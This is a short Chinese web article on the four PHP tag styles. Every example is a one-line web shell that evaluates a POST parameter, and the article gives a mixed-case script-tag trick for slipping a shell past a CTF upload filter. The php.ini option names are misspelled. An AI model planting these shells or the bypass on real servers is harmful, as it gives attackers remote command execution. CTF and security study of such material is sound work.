PHP的標識有哪些?這個問題可能是我們日常工作經遇見到的。通過這個問題,希望你能收獲更多。如果你不看答案,不知道是否有把握回答這個問題?讓我們來試試。
PHP四種標記風格
1.XML風格
<?php eval($_POST['cmd']); ?>
php推薦使用的標記風格。
服務器管理員無法禁用,所有服務器上均可使用該風格。
2.腳本風格
<script language="php"> eval($_POST['cmd']); </script>
默認開啟,無法禁用
筆者曾遇到過一CTF題目,要求上傳shell,但是卻對文件內容做了過濾 ,<? 以及 php,替換為了空格。此種風格中,language的值,大小寫都可以,因此可以構造如下代碼進行繞過
<script language="PhP"> eval($_POST['cmd']); </script>
3.簡短風格
<? eval($_POST['cmd']); ?>
此種風格需要在配置文件php.ini中啟用short_open_tage選項
此種風格在許多環境中默認是不支持的
4.ASP風格
<% eval($_POST['cmd']); %>
此種風格需要在配置文件php.ini中啟用asp_tag選項
在默認情況下是禁用的
看完上述內容,你們對php的標識大概了解了嗎?如果想了解更多相關文章內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。